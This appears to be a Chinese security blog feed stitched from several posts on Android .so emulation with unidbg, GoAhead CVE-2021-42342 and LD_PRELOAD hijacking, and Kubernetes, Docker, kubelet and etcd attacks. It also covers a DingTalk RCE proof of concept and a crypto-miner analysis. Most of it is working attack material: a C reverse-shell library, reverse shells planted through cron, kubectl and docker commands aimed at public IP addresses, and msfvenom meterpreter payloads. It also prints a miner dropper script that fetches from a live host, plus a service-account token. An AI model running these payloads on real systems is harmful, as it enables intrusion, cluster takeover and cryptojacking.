Object value = TTEncryptUtils.callStaticJniMethodObject(emulator, methodSign, args).getValue(); return value.toString(); } /** * 关闭模拟器 * @throws IOException */ private void destroy() throws IOException { emulator.close(); System.out.println("emulator destroy..."); } public static void main(String[] args) throws IOException { // 1、需要调用的so文件所在路径 String soFilePath = "unidbg-android/src/test/resources/myso/libinyu-lib.so"; // 2、需要调用加密函数所在的Java类完整路径,比如a/b/c/d等等,注意需要用/代替点,只需要填写即可。 String classPath = "water/android/io/inyustring/InyuString"; // 3、需要调用方法,再jadx中找到对应的方法,然后点击下面的Smail,复制方法的Smail代码。 String methodSign = "getUrlSign(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;"; TestJni testJni = new TestJni(soFilePath, classPath); // 输出getGameKey方法调用结果 System.err.println(testJni.myJni(methodSign,"/v1/login/mobile/code?mobile=13888888888&country_code=0086&__plat=android&__version=2.21.0&__app=inyu","1607237431")); testJni.destroy(); }}其中大部分都不需要修改,只需要修改main中的参数,classPath是加密so函数的Java代码所在类,但是并不需要实际添加进去。运行的结果如下所示。

测试APP来源猿人学的一次活动
地址:http://download.python-spider.com/yuanrenxuem106.apk
WP:https://mp.weixin.qq.com/s/CXsbzt4IWyDaV006JdIYsQ
先找到这个包的包名com.yuanrenxue.match2022,基本在这个目录下,这个app做了代码混淆,先不管。
根据提示找到/app2这个接口对应的代码处。

其中sign为加密后的字符串,搜索这个字符串,在包下面找相关的字段。
只有两处相关com.yuanrenxue.match2022.fragment.challenge和com.yuanrenxue.match2022.security
在类ChallengeTwoFragment中可以看到明显的第二题代码,查看最后的sign的加密。加载了match02的so文件。


传入一个参数,类型为str,然后需要找个调用这个sign的地方,看上面的调用。

这里有两个需要注意,其中v0代表的是获取string中的资源,根据对应的查找发现是%d:%d。
还有一个是int类型的v1,其中 this.OooO0O0代表是page字段,这个在下面也有定义,arg5.OooO00o()赋值为long类型的v5,也就是这个是ts字段。所以v1就是一个page和ts的数组。
最后返回的时候,可以看到这个函数和一开始的是一致的。sign中的字符串格式化就是String.format("%d:%d", {page, ts})。
知道传入sign的字符串参数的形式后,我们自己来调用so来输出。
package com.misaki;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.ARMEmulator;import com.github.unidbg.arm.backend.DynarmicFactory;import com.github.unidbg.arm.backend.Unicorn2Factory;import com.github.unidbg.linux.android.AndroidARMEmulator;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.jni.ProxyClassFactory;import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;import com.github.unidbg.memory.Memory;import java.io.File;import java.io.IOException;public class TestJni extends AbstractJni { // ARM模拟器 private final AndroidEmulator emulator; // vm private final VM vm; // 载入的模块 private final Module module; private final DvmClass TTEncryptUtils; public TestJni(String soFilePath, String classPath) throws IOException { emulator = AndroidEmulatorBuilder .for64Bit() .addBackendFactory(new Unicorn2Factory(true)) .setProcessName("com.yuanrenxue.match2022") .build(); Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); vm = emulator.createDalvikVM((File) null); vm.setDvmClassFactory(new ProxyClassFactory()); vm.setVerbose(true); vm.setJni(this); DalvikModule dm = vm.loadLibrary(new File(soFilePath), true); dm.callJNI_OnLoad(emulator); module = dm.getModule(); TTEncryptUtils = vm.resolveClass(classPath); } private String myJni(String methodSign, Object ...args) { Object value = TTEncryptUtils.callStaticJniMethodObject(emulator, methodSign, args).getValue(); return value.toString(); } private void destroy() throws IOException { emulator.close(); System.out.println("emulator destroy..."); } public static void main(String[] args) throws IOException { String soFilePath = "unidbg-android/src/test/resources/myso/libmatch02.so"; String classPath = "com/yuanrenxue/match2022/fragment/challenge/ChallengeTwoFragment"; String methodSign = "sign(java/lang/String;)java/lang/String;"; TestJni testJni = new TestJni(soFilePath, classPath); System.err.println(testJni.myJni(methodSign,"1:1657348328"));)); testJni.destroy(); }}
然后再来看一下第四题,这个看完后发现基本跟第二题没太大区别。同样找到sign方法,里面有两个参数,去找这两个参数对应的值。

代码为:
private void lambda$initListeners$0(o0000O arg8) { this.OooO0O0 = 1; long v1 = System.currentTimeMillis(); String v3 = this.getResources().getString(0x7F100053); // string:format_match_04_sign "%d:%d" Object[] v4 = {((int)this.OooO0O0), ((long)v1)}; oOO00O.OooO0O0.OooO0O0 v3_1 = oOO00O.OooO0O0.OooO0oO().OooO00o(this.OooO0O0); OooO0O0 v1_1 = this.OooO0Oo; com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o v2 = new o00O0.OooO0O0(arg8) { public final o0000O OooO0O0; public final ChallengeFourFragment OooO0OO; public static final o00o00o.OooOo00.OooO00o OooO0Oo; { com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.OooO0OO(); } { ChallengeFourFragment.this = arg1; this.OooO0O0 = arg2; super(); } @Override // o00O0.OooO0O0 public void OooO0O0() { this.OooO0O0.OooO0O0(); } @Override // o00O0.OooO0O0 public static void OooO0OO() { OooO v8 = new OooO("ChallengeFourFragment.java", com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.class); com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.OooO0Oo = v8.OooO0oO("method-execution", v8.OooO0o("1", "onError", "com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment$1", "java.lang.Throwable", "t", "", "void"), 103); } public static final void OooO0o(com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o arg0, Throwable arg1, OooOo00 arg2) { arg0.super.onError(arg1); arg1.printStackTrace(); arg0.OooO0O0.OooO0O0(); } @Override // o00O0.OooO0O0 public void OooO0o0(Object arg1) { this.OooO0oO(((oOO00O.OooO0OO)arg1)); } public void OooO0oO(oOO00O.OooO0OO arg5) { ArrayList v0 = new ArrayList(); v0.add(new o00O000.OooO0OO("padding")); Iterator v5 = arg5.OooO0O0().iterator(); while(v5.hasNext()) { v5.next(); v0.add(new o00O000.OooO0OO("")); } ChallengeFourFragment.OooO(ChallengeFourFragment.this).OooO(v0); this.OooO0O0.OooO0O0(); } @Override // o00O0.OooO0O0 public void onError(Throwable arg5) { OooOo00 v0 = OooO.OooO0OO(com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.OooO0Oo, this, this, arg5); o000O0.OooO0OO().OooO0O0(new OooOOO0(new Object[]{this, arg5, v0}).OooO0O0(0x11010)); } }; v1_1.OooO0OO(((oOO00O.OooO0O0)v3_1.OooO0O0(this.sign(String.format(v3, v4), v1)).OooO0OO(v1).build()), v2); }还是字符串格式化,还是%d:%d类型的格式化,但是参数变了。v4是{((int)this.OooO0O0), ((long)v1)},而this.OooO0O0上面有赋值,应该也还是page,v1是System.currentTimeMillis(),获取当前的总毫秒数。所以第一页的时候,v4就是{1:1657351690000}。
所以sign的传参就是this.sign(String.format("%d:%d", {1,1657351690000}), 1657351690000)
修改上面的Java代码来调用。
package com.misaki;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.backend.DynarmicFactory;import com.github.unidbg.arm.backend.Unicorn2Factory;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.jni.ProxyClassFactory;import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;import com.github.unidbg.memory.Memory;import java.io.File;import java.io.IOException;public class TestJni extends AbstractJni { // ARM模拟器 private final AndroidEmulator emulator; // vm private final VM vm; // 载入的模块 private final Module module; private final DvmClass TTEncryptUtils; public TestJni(String soFilePath, String classPath) throws IOException { emulator = AndroidEmulatorBuilder .for64Bit() .addBackendFactory(new DynarmicFactory(true)) .setProcessName("com.yuanrenxue.match2022") .build(); Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); vm = emulator.createDalvikVM((File) null); vm.setDvmClassFactory(new ProxyClassFactory()); vm.setVerbose(true); vm.setJni(this); DalvikModule dm = vm.loadLibrary(new File(soFilePath), true); dm.callJNI_OnLoad(emulator); module = dm.getModule(); TTEncryptUtils = vm.resolveClass(classPath); } private String myJni(String methodSign, String data1, Long data2) { Object value = TTEncryptUtils.callStaticJniMethodObject(emulator, methodSign, data1, data2).getValue(); return value.toString(); } private void destroy() throws IOException { emulator.close(); System.out.println("emulator destroy..."); } public static void main(String[] args) throws IOException { String soFilePath = "unidbg-android/src/test/resources/myso/libmatch04.so"; String classPath = "com/yuanrenxue/match2022/fragment/challenge/ChallengeFourFragment"; String methodSign = "sign(java/lang/String;J)java/lang/String;"; TestJni testJni = new TestJni(soFilePath, classPath); System.err.println(testJni.myJni(methodSign,"1:1657351690000", 1657351690000L));)); testJni.destroy(); }}结果为:

备注:
这里是记录一些类型的描述符,方便后续修改查询
| 变量类型 | 类型描述符 | 包装类 | 包装类类型描述符(包含分号) |
|---|---|---|---|
| int | I(大写i) | Integer | Ljava/lang/Integer; |
| short | S | Short | Ljava/lang/Short; |
| long | J | Long | Ljava/lang/Long; |
| boolean | Z | Boolean | Ljava/lang/Boolean; |
| char | C | Character | Ljava/lang/Character; |
| byte | B | Byte | Ljava/lang/Byte; |
| float | F | Float | Ljava/lang/Float; |
| double | D | Double | Ljava/lang/Double; |
| void | V | Void | Ljava/lang/Void; |
| Object | L+类名(使用’/‘作为分隔符)+;如: Ljava/lang/Object;Lorg/objectweb/asm/MethodVisitor; | / | / |
| String | Ljava/lang/String; | / | / |
| ————– | 数组写法: | ——– | —————- |
| X的N维数组 | N个[+X的类型描述符 | / | / |
| int[] | [I(大写的i) | / | / |
| byte[][] | [[B | / | / |
| String[] | [Ljava/lang/String; | / | / |
| Object[][] | [[Ljava/lang/Object; | / | / |
方法描述符
| 源文件中的方法声明 | 方法描述符 | 说明 |
|---|---|---|
| void m(int i, float f) | (IF)V | 接收一个int和float型参数且无返回值 |
| int m(Object o) | (Ljava/lang/Object;)I | 接收Object型参数返回int |
| int[] m(int i, String s) | (ILjava/lang/String;)[I | 接受int和String返回一个int[] |
| Object m(int[] i) | ([I)Ljava/lang/Object; | 接受一个int[]返回Object |
参考文章
https://zhuanlan.zhihu.com/p/407839659
https://zhuanlan.zhihu.com/p/425355837
]]>前两天看到一个ACTF的WP,由于没有参加,所以不太清楚题目,但是其中有一个gogogo的题目,利用的是环境变量的注入方式,而且还是LD_PRELOAD劫持。这个漏洞是GoAhead的一个CVE-2021-42342。
先复现一下这个漏洞,直接利用vulhub的靶场,/vulhub/goahead/CVE-2021-42342。
访问http://127.0.0.1:8080/cgi-bin/index,在这个地方上传一个恶意的so文件。
#include<stdio.h>#include<stdlib.h>#include<sys/socket.h>#include<netinet/in.h>char *server_ip="192.168.36.138";uint32_t server_port=1234;static void reverse_shell(void) __attribute__((constructor));static void reverse_shell(void){ int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0) exit(0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve("/bin/bash", 0, 0);}编译如上的文件
gcc -s -shared -fPIC ./hack.c -o hack.so #由于对so有大小限制,这里才带-s参数。生成一个so文件后,可以直接利用给出的poc.py发送。或者也可以利用BURP构造包来发送。
python poc.py http://127.0.0.1:8080/cgi-bin/index hack.so如果需要使用burp来构造包则需要注意一点就是保持文件描述符不被关闭,关闭选项上repeater的第一个update选项,同时修改包中的Content-Length长度,由于我的so是14384字节,这里改成15000.最后再用多余的字节填充到比15000多一些即可。

通过上面这个漏洞的利用,可以看到使用了LD_PRELOAD这个环境变量,这个东西影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。
LD_PRELOAD环境变量相信都在PHP绕过disable_function函数的时候见过,就是利用劫持进行覆写相关的函数来执行恶意的so。
如果需要实现这种注入攻击的方式,则至少需要满足:
如果还需要绕过disable_function,还需要一个外部功能的函数可以执行,常见的比如PHP的mail函数。
这里用一个编写的demo,比如我们想劫持/usr/bin/grep命令,可以先查看ls的动态链接库文件,readelf -Ws来查看。

这里我们选用strcpy@GLIBC_2.2.5 (3)这个链接库。
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() { system("id");}char *strcpy(char *dest, const char *src) { //需要搜索查看函数的原型 if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}或者,这个__attribute__((constructor))的意思是先于main()函数调用 ,这种情况下大部分函数都可以劫持到。
#include <unistd.h>static void before(void) __attribute__((constructor));static void before(void){ unsetenv("LD_PRELOAD"); system("id");}编译
gcc -s hack.c -fPIC -shared -o hack.so把这个so加入到环境变量中
export LD_PRELOAD=$PWD/hack.so
禁用
使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。
参考文章:
https://tttang.com/archive/1399/
]]>利用两个外部的环境:http://34.219.148.35:8080/、http://212.193.88.186:8080/
API Server 默认会开启两个端口:8080 和 6443。
其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous //使6443 端口允许匿名用户直接访问 8080 端口会返回可用的 API 列表,如:
{ "paths": [ "/api", "/api/v1", "/apis", "/apis/extensions", "/apis/extensions/v1beta1", "/healthz", "/healthz/ping", "/logs/", "/metrics", "/resetMetrics", "/swagger-ui/", "/swaggerapi/", "/ui/", "/version" ]}而直接访问 6443 端口会提示无权限:`User “system:anonymous” cannot get at the cluster scope.
如果安装了dashboard,访问 /ui 会跳转到 dashboard 页面,可以创建、修改、删除容器,查看日志等。
Kubernetes 官方提供了一个命令行工具 kubectl。
// 获得所有节点kubectl -s http://34.219.148.35:8080/ get nodes// 获得所有容器kubectl -s http://34.219.148.35:8080/ get pods --all-namespaces=true// 在 myapp 容器获得一个交互式 shellkubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录。
apiVersion: v1kind: Podmetadata: name: myappspec: containers: - image: nginx name: test-container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /然后使用 kubectl 创建容器:
// 由 myapp.yaml 创建容器kubectl -s http://34.219.148.35:8080/http://34.219.148.35:8080/ create -f myapp.yaml// 等待容器创建完成// 获得 myapp 的交互式 shellkubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash// 向 crontab 写入反弹 shell 的定时任务echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab// 也可以用 python 反弹 shellecho -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
如果不需要反弹shell,只需要在docker内执行命令的话
kubectl -s http://34.219.148.35:8080/ exec myapp -it -- ls /etc以上使用的端口为8080,如果需要使用6443,则需要将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。
使用shodan上的一个环境,https://34.209.45.207:6443/。
查看pods:
https://34.209.45.207:6443/api/v1/namespaces/default/pods?limit=500
添加一个pods
https://34.209.45.207:6443/api/v1/namespaces/default/pods发送一段json数据
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
执行命令,
https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami提示错误,对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。
{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "Upgrade request required", "reason": "BadRequest", "code": 400}利用wscat,地址:https://github.com/websockets/wscat/archive/refs/tags/3.0.0.zip
较新的版本只支持ws开头的协议,这里换个老点的版本
./wscat -n -c "https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=id"前提需要容器逃逸,在控制节点上创建。
apiVersion: apps/v1kind: DaemonSetmetadata: name: kube-cache-node1 namespace: kube-systemspec: selector: matchLabels: app: kube-cache-node1 template: metadata: labels: app: kube-cache-node1 spec: hostNetwork: true hostPID: true containers: - name: main image: bash imagePullPolicy: IfNotPresent command: ["bash"] # reverse shell args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"] securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory利用容器逃逸后的shell在目标控制节点上将上述内容保存为kiit.yaml并执行:
kubectl apply -f kiit.yamlClient上使用命令后,会发送对应的请求到API,也就是Docker Daemon服务。然后docker会去对应的Registry仓库拉取镜像创建容器。
这个服务本地会暴露在unix:///var/run/docker.sock上,如果容器中有权限访问到这个文件,就可以对宿主机的所有容器进行操作。
比如:http://68.183.144.186:2375/
直接访问,或者使用docker访问
docker -H tcp://68.183.144.186:2375 info查看docker下的镜像
docker -H tcp://68.183.144.186:2375 images创建容器,利用bash和crontab计划任务向宿主机写入shell:
centos系统挂载路径为 /var/spool/cron/root;ubuntu系统为/var/spool/cron/crontabs/root;
# 查看宿主机可用镜像docker -H tcp://68.183.144.186:2375 image# 启动刚刚创建的容器并连接docker -H tcp://51.195.28.76:2375 start ct_iddocker -H tcp://51.195.28.76:2375 exec -it --user root ct_id /bin/bash
使用镜像来创建一个容器
docker -H tcp://68.183.144.186:2375 run -it -v /var/spool/cron/:/var/spool/cron/ dcf4d4bef137 /bin/bash启动成功后,自动进入了这个容器内

写入反弹shell
root@177ac63fbb2f:/# echo '* * * * * bash -i >& /dev/tcp/158.247.216.146/8899 0>&1' >> /var/spool/cron/root但是这个容器并没有启动,退出后会发现这个容器也停止了。需要先把这个容器启动运行。
docker -H tcp://68.183.144.186:2375 ps -adocker -H tcp://68.183.144.186:2375 start 8f351dbd41d7docker -H tcp://68.183.144.186:2375 exec -it --user root 8f351dbd41d7 /bin/bash
或者使用python来执行,例如
import dockerclient = docker.DockerClient(base_url='http://192.168.11.160:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})10250端口是kubelet API的HTTPS端口,该端口对外提供了Pod和Node的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。
curl -k https://172.18.0.2:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"或:curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问,直接访问部署一个docker即可
apiVersion: v1kind: Podmetadata: name: testspec: containers: - name: busybox image: busybox:1.29.2 command: ["/bin/sh"] args: ["-c", "nc attacker 4444 -e /bin/sh"] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到/run/secrets/kubernetes.io/serviceaccount/token
我们可以通过命令行工具 kubectl来对api-server进行操作。
创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址
apiVersion: v1clusters:- cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-namecontexts:- context: cluster: cluster-name namespace: test user: admin name: admincurrent-context: adminkind: Configpreferences: {}users:- name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w执行以下命令远程连接进入题目的k8s集群,成功通过认证。
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。
首先在Kubernetes中可以更改配置/etc/Kubernetes/manifests/etcd.yaml文件的内容,来将2379端口向外暴露
Etcd v2和v3是两套不兼容的API,K8s是用的v3,所以需要先通过环境变量设置API为v3
export ETCDCTL_API=3列出该目录所有节点的信息
http://152.7.98.135:2379/v2/keys
添加上recursive=true参数,就会递归地列出所有的值
http://152.7.98.135:2379/v2/keys/?recursive=true
http://152.7.98.135:2379/v2/members 集群中各个成员的信息
安装etcdctl,可以使用类似的方式查询API
etcdctl --endpoint=http://[etcd_server_ip]:2379 ls若存在路径/registry/secrets/default,其中可能包含对集群提升权限的默认服务令牌。
参考文章:
https://xz.aliyun.com/t/4276
https://tttang.com/archive/1389/
https://www.freebuf.com/vuls/196993.html
https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/
大佬的POC:https://github.com/crazy0x70/dingtalk-RCE
复现:
本地开一个服务
python3 -m http.server输入:
dingtalk://dingtalkclient/page/link?url=http://192.168.230.207:8000/1.html&pc_slide=true
测试还发现,这个POC只能在群组里触发,如果发给个人,比如我这里发给自己是不能触发的。
修改shellcode的:
msfvenom -a x86 –platform windows -p windows/exec cmd="curl kaili.erojuu.dnslog.cn" -e x86/alpha_mixed -f csharp把生成的shellcode替换到:
var shellcode=new Uint8Array([.....])再去触发

只不过这个命令或产生一个curl的命令界面

使用powershell,依然会有那么一闪而过的页面
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "curl kaili.erojuu.dnslog.cn"反弹shell
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.36.130 LPORT=8834 -e x86/shikata_ga_nai -f csharp
当然如果没有复现成功,查看一下自己的版本是否正确,他会自动升级,如果显示如下,有可能是自己升级了。

curl -O 2.58.149.237:6972/hoze

文件内容为:
#!/bin/bashcores=$(nproc)temp=$(cat /proc/meminfo | grep MemAvailable | awk '{print$2}')ram=$(expr $temp / 1000)echo $coresecho $ram#ram=10rm -rf hozerm -rf /var/tmp/hoze[[ ! $(uname -a) =~ "x86_64" ]] && exit#####################################function SlowAndSteady {cd /var/tmp ; curl -O 2.58.149.237:6972/xri3.tar || cd1 -O 2.58.149.237:6972/xri3.tar || wget 2.58.149.237:6972/xri3.tar && tar -xvf xri3.tar && mv xri3 .xri && rm -rf xri3.tar && cd .xri ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history}function MoneyFactory {cd /var/tmp ; curl -O 2.58.149.237:6972/xrx2.tar || cd1 -O 2.58.149.237:6972/xrx2.tar || wget 2.58.149.237:6972/xrx2.tar && tar -xvf xrx2.tar && mv xrx2 .xrx && rm -rf xrx.tar && cd .xrx ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history}#####################################rm -rf /var/tmp/.xrirm -rf /var/tmp/.xrxrm -rf /var/tmp/.xpkill -9 xripkill -9 xrxpkill -STOP xmrigpkill -STOP Operarm -rf ~/Opera#####################################if [ "$EUID" = 0 ]; then chmod 755 /usr/bin/chattr > /dev/null 2>&1 chattr -ia /etc/newinit.sh > /dev/null 2>&1 rm -rf /etc/newinit.sh > /dev/null 2>&1 chattr -R -ia /var/spool/cron > /dev/null 2>&1 chattr -ia /etc/crontab > /dev/null 2>&1 chattr -R -ia /var/spool/cron/crontabs > /dev/null 2>&1 chattr -R -ia /etc/cron.d > /dev/null 2>&1fichattr -ia /tmp/newinit.sh > /dev/null 2>&1rm -rf /tmp/newinit.sh > /dev/null 2>&1echo "crontab info:"crontab -lcrontab -r > /dev/nullchattr -ia /etc/zzh > /dev/nullchattr -ia /tmp/zzh > /dev/nullrm -rf /etc/zzh > /dev/nullrm -rf /tmp/zzh > /dev/nullpkill -f "zzh" > /dev/nullchattr -ia /tmp/.ice-unix > /dev/nullrm -rf /tmp/.ice-unix > /dev/nullchattr -ia /usr/local/bin/pnscan > /dev/nullrm -rf /usr/local/bin/pnscan > /dev/nullpkill -f "pnscan" > /dev/nullmv /bin/top.original /bin/top#####################################if (( $cores < 4 )) || (( $ram < 2300 )) ; then echo "installing trtl miner" SlowAndSteadyelif (( $cores >= 4 )) && (( $ram >= 2300 )) ; then echo "installing xmr miner" SlowAndSteadyfi前几步是用来判断系统的内存和进程限制,但对后面的运行实际没有区别,非x86架构则直接退出运行。中间有个下载文件,是一个二进制文件,下载下来查看一下。
curl -O 2.58.149.237:6972/xri3.tar
后门先进行进程的清理,然后在root下修改定时任务文件,删除了一个shell文件/etc/newinit.sh,我去查了一下这个文件,发现也是一个挖矿的定时程序,原来是先把别的程序给他删了,再去执行自己的。同时修改文件的属性,便于更改。后续还删除了pnscan,这个是针对reids的挖矿病毒,会修改top文件为top.original,这里也贴心的帮你修改过来了。
原pnscan病毒会修改top为:echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top
只是它还会修改ps命令,这里没有修改回来,看来还不够贴心。
不管你系统是多少内存啥的,反正都给你运行函数SlowAndSteady。会解压在/var/tmp目录下,更改名称为.xri。执行目录下的chmod +x * ; ./init0,同时给你删除掉命令记录,同时删除下载的压缩包。
从文件内看到一个key文件,里面是ssh的公钥,说明保留采用公钥的方式登陆的后门。
/root/.ssh/authorized_keys会在/etc/crontab里写入定时任务
@weekly root /var/tmp/.x/secure@reboot root /var/tmp/.x/secureconfig里配置了门罗币的地址
"url": "5.9.157.2:10380", "user": "TRTLv1M57YFZjutXRds3cNd6iRurtebcy6HxQ6hRMCzGF5nE4sWuqCCX9vamnUcG35BkQy6VfwUy5CsV9YNomioPGGyVhKTze3C", "pass": "x", "rig-id": "pooled",执行的程序为/var/tmp/.xri下的xri文件,后续还会在/var/tmp/.x下把scp和secure拷贝进来,上面的定时任务也是针对这个secure文件。
程序还会在创建一个cheeki的普通用户,密码写在shadow文件内,看起来是跟root一个密码。但是这个密码是修改过,也就是root的密码修改为其他密码了。
root:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::bin:*:18353:0:99999:7:::daemon:*:18353:0:99999:7:::adm:*:18353:0:99999:7:::lp:*:18353:0:99999:7:::sync:*:18353:0:99999:7:::shutdown:*:18353:0:99999:7:::halt:*:18353:0:99999:7:::mail:*:18353:0:99999:7:::operator:*:18353:0:99999:7:::games:*:18353:0:99999:7:::ftp:*:18353:0:99999:7:::nobody:*:18353:0:99999:7:::systemd-network:!!:19011::::::dbus:!!:19011::::::polkitd:!!:19011::::::sshd:!!:19011::::::postfix:!!:19011::::::chrony:!!:19011::::::cheeki:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::scp文件从作用上看,是负责进程维护和修改定时任务的
